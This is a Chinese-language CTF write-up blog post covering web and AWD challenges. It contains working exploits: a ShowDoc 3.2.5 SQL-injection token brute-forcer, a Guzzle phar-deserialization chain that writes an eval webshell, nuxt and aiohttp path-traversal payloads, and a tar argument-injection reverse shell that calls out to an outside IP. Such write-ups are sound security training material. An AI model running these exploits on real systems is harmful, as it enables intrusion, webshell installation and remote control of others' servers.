数据人与超自然意识 发表于 2024-10-11 07:38:09

掌控安全CTF - 8月(WEB&AWD方向)

好久没更新了,水一篇。
0x01 Web

1. web-php

标题代码如下:
<?php
        show_source(__FILE__);
        file($_POST['a']);
?>
老演员了,涉及PHP filter文件读取攻击,参考:PHP Filter链——基于oracle的文件读取攻击, 提示 flag 在 /flag 上,脚本一把梭。
https://i-blog.csdnimg.cn/direct/985e5e901b454ce6ac431f767a188c3a.png
2. web2

https://i-blog.csdnimg.cn/direct/fd2393922998479f8fae9681429ac990.pngshowdoc,跟着某些文章复现即可,我这个地方从暴破 token 到 phar 反序列化完整地走了一篇,就当复习知识点了。暴破 token 脚本如下:
import argparse
import ddddocr
import requests
import onnxruntime
from urllib.parse import urljoin


onnxruntime.set_default_logger_severity(3)
table = '0123456789abcdef'
proxies = {'http': 'http://127.0.0.1:8085'}
headers = {'Authorization': 'Basic emthcTp6a2Fx'}
ocr = ddddocr.DdddOcr()
ocr.set_ranges(table)


class RetryException(Exception):
    pass


def retry_when_failed(func):
    def retry_func(*args, **kwargs):
      while True:
            try:
                return func(*args, **kwargs)
            except RetryException:
                continue
            except Exception as e:
                raise e

    return retry_func


def generate_captcha(base: str):
    data = requests.get(f"{base}?s=/api/common/createCaptcha", headers=headers).json()
    captcha_id = data['data']['captcha_id']
    response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}', headers=headers)
    data = response.content
    result = ocr.classification(data)
    return captcha_id, result


@retry_when_failed
def exploit_one(base: str, current: str, ch: str) -> str:
    captcha_id, captcha_text = generate_captcha(base)
    data = requests.get(base, params={
      's': '/api/item/pwd',
      'page_id': '0',
      'password': '1',
      'captcha_id': captcha_id,
      'captcha': captcha_text,
      'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "
    }, headers=headers).json()

    if data['error_code'] == 0:
      return ch
    elif data['error_code'] == 10010:
      return ''
    elif data['error_code'] == 10206:
      raise RetryException()
    else:
      print(f'error: {data!r}')
      raise Exception('unknown exception')


def main():
    parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')
    parser.add_argument('-u', '--url', type=str, required=True)

    args = parser.parse_args()
    target = urljoin(args.url, '/server/index.php')
    res = ''
    for i in range(64):
      r = ''
      for ch in list(table):
            r = exploit_one(target, res, ch)
            if r:
                res += ch
                break

      print(f'Current result: {res}')
      if not r:
            break


if __name__ == '__main__':
    main()
运行结果如下:
https://i-blog.csdnimg.cn/direct/85713e762a33408d844f6763609a2c4a.png然后共同 user_token 打前台反序列化,phar poc如下:
<?php
namespace GuzzleHttp\Cookie{
    class SetCookie
    {
      private $data = [];
      public function __construct()
      {
            $this->data = array("Discard"=>false,"poc"=>'<?php eval($_REQUEST);?>');
      }
    }

    class CookieJar
    {
      /** @var SetCookie[] Loaded cookie data */
      private $cookies = [];

      public function __construct()
      {
            $this->cookies = ;
      }

    }

    class FileCookieJar extends CookieJar
    {
      /** @var string filename */
      private $filename;

      /** @var bool Control whether to persist session cookies or not. */
      private $storeSessionCookies;

      public function __construct($cookieFile, $storeSessionCookies = false)
      {
            parent::__construct();
            $this->filename = $cookieFile;
            $this->storeSessionCookies = $storeSessionCookies;

      }
    }
}

namespace {
    $exampleWithClosure = new GuzzleHttp\Cookie\FileCookieJar("/var/www/html/Public/Uploads/shell.php",true);
    $phar=new phar('image.phar',0);
    $phar->startBuffering();
    $phar->setMetadata($exampleWithClosure);
    $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>');
    $phar->addFromString("test.txt","test");
    $phar->stopBuffering();
}
运行上述php脚本后,就已经拿到了token以及phar文件。然后修改该phar文件后缀为jpg,同时构造本地文件上传表单,上传phar文件到对应的网站。
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Form Upload</title>
</head>
<body>
    <form action="http://dyvfgrqa.lab.aqlab.cn/server/index.php?s=/api/page/upload" method="post" enctype="multipart/form-data">
      <input type="hidden" name="user_token" value="5d302c5281dc08432a2e8d0ce47d832b074dc5f9f461720078cbfb26b667e463">
      <label for="file">Choose file to upload:</label>
      <input type="file" name="file" id="file"><br><br>
      <input type="submit" value="Upload">
    </form>
</body>
</html>
上传后会返回 sign,如图:
https://i-blog.csdnimg.cn/direct/af827f66792f4189a54704fd3997b2ae.png访问对应的路径获取phar文件路径,如图:
https://i-blog.csdnimg.cn/direct/368bff9f04be4877aa0ad982cc404920.png访问phar文件路径,webshell被天生。
https://i-blog.csdnimg.cn/direct/12a65360e6aa43619617bce3b73a7b35.png
验证webshell有效性。
https://i-blog.csdnimg.cn/direct/23d0dcaab3ee4674868bf68eefc20f57.png获取flag,如图:
https://i-blog.csdnimg.cn/direct/21be8a5c08b441f49fc342e063cb4943.png
3. Just A Index

https://i-blog.csdnimg.cn/direct/75903887ff0049089c752a4d186253bf.pngaiohttp/3.9.1中存在路径遍历毛病,只需要找准一个基础路径,利用../遍历即可。参考:CVE-2024-23334 aiohttp路径遍历毛病 ,可以看到页面种加载了一张图片,路径是:/img/what.jpeg,可以基于/img举行路径遍历,如图:
https://i-blog.csdnimg.cn/direct/c0876386dec245559486a48f222db9a6.png
0x02 AWD

1. Nothing

https://i-blog.csdnimg.cn/direct/05d8b9133e644d9693c92222c310360a.png给了一个附件,从附件中可以分析出前端使用了 nuxt 框架,存在文件读取毛病,PoC如下:
GET /_nuxt/@fs/etc/passwd HTTP/1.1
Host: example.com
获取flag,如图:
https://i-blog.csdnimg.cn/direct/926b0feffffe43bd9973a095f37984cb.png
2. Scan

https://i-blog.csdnimg.cn/direct/5f631f6a003d4ce98f7ee9f330ace4e0.png调用 nuclei 对目的网站举行扫描,给了附件,部分代码如下:
import flask
import subprocess
import re

app = Flask(__name__)

... ...

@app.route('/submit', methods=['POST'])
def submit():
    ... ...
    if url is None:
      return "No URL! ", 400

    if not url_pattern.match(url):
      return "URL格式错误!", 400

    if url:
      command = ['./nuclei', '--silent', '-u', url, '-t', '0day-templates.yaml']
      try:
            result = subprocess.run(command, capture_output=True, text=True)
            print(result.stdout)
            if 'info' in result.stdout and '/api/v2/echo' in result.stdout and 'custom-templates' in result.stdout:
                return flag
            else:
                return "非常安全,没有问题!"
      except subprocess.CalledProcessError:
            return "Error occurred while running command"
    return "Invalid request"

if __name__ == '__main__':
    ... ...
0day-templates.yaml文件内容如下:
https://i-blog.csdnimg.cn/direct/a1b252b37c3c4ead82f2362853901c91.png
这个地方直接用自己 vps伪造一个符合扫描规则的页面即可,代码如下:
from fastapi import FastAPI, Request

app = FastAPI()

@app.get('/api/v1/version/')
def api_version():
    response = {
      "version": "10.0.3",
      "NAME": "HACKER",
      "msg": "success"
    }
    return response

@app.get('/api/v2/echo/')
async def api_echo(request: Request):
    return "zkaq{a} <script>alert(1111)</script>"

if __name__ == '__main__':
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8081)
扫描结果如下:
https://i-blog.csdnimg.cn/direct/29e064511cf347779e4da3e453e45ef0.png
3. 压缩打包站

https://i-blog.csdnimg.cn/direct/e8b22d5c1e9147a79e9595259226c7e2.png上传文件后,后端会存储用户的文件并将其打包并提供压缩包下载功能。给了附件,部分代码如下:
from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os


app = Flask(__name__)


@app.before_request
def check_uuid():
    uuid_cookie = request.cookies.get('uuid', None)

    if uuid_cookie is None:
      response = make_response(redirect('/'))
      response.set_cookie('uuid', str(uuid.uuid4()))
      return response
   
    try:
      uuid.UUID(uuid_cookie)
    except ValueError:
      response = make_response(redirect('/'))
      response.set_cookie('uuid', str(uuid.uuid4()))
      return response
   
    g.uuid = uuid_cookie

    if not os.path.exists(f'uploads/{g.uuid}'):
      os.mkdir(f'uploads/{g.uuid}')


@app.route('/', methods=['GET'])
def main():
    return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
   
   
@app.route('/api/upload', methods=['POST'])
def upload():
    file = request.files.get('file', None)
    if file is None:
      return 'No file provided', 400
   
    # check for path traversal
    if '..' in file.filename or '/' in file.filename:
      return 'Invalid file name', 400
   
    # check file size
    if len(file.read()) > 1000:
      return 'File too large', 400
   
    file.save(f'uploads/{g.uuid}/{file.filename}')
    return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200


@app.route('/api/download', methods=['GET'])
def download():
    @after_this_request
    def remove_file(response):
      os.system(f"rm -rf uploads/{g.uuid}/out.tar")
      return response

    # make a tar of all files
    os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

    # send tar to user
    return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')



if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2024, threaded=True)
毛病触发点,关键在于:
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
此处涉及tar参数注入操作,具体原理参考:tar参数注入 ,构造文件命令如下:
echo 'bash -c "bash -i >& /dev/tcp/1.1.1.1/10086 0>&1"' | base64
echo "" > "--checkpoint-action=exec=echo | base64 -d | bash" # 生成第一个文件
echo "" > --checkpoint=1 # 生成第二个文件
echo "" > test.txt # 生成第三个文件
将三个文件分别上传,然后点击页面中的 download 下载压缩包。
https://i-blog.csdnimg.cn/direct/1de5c93e20a842baa4945326515fff82.png
vps吃到反弹shell,获取flag。
https://i-blog.csdnimg.cn/direct/02893ecefe564d559950698492a6d892.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 掌控安全CTF - 8月(WEB&AWD方向)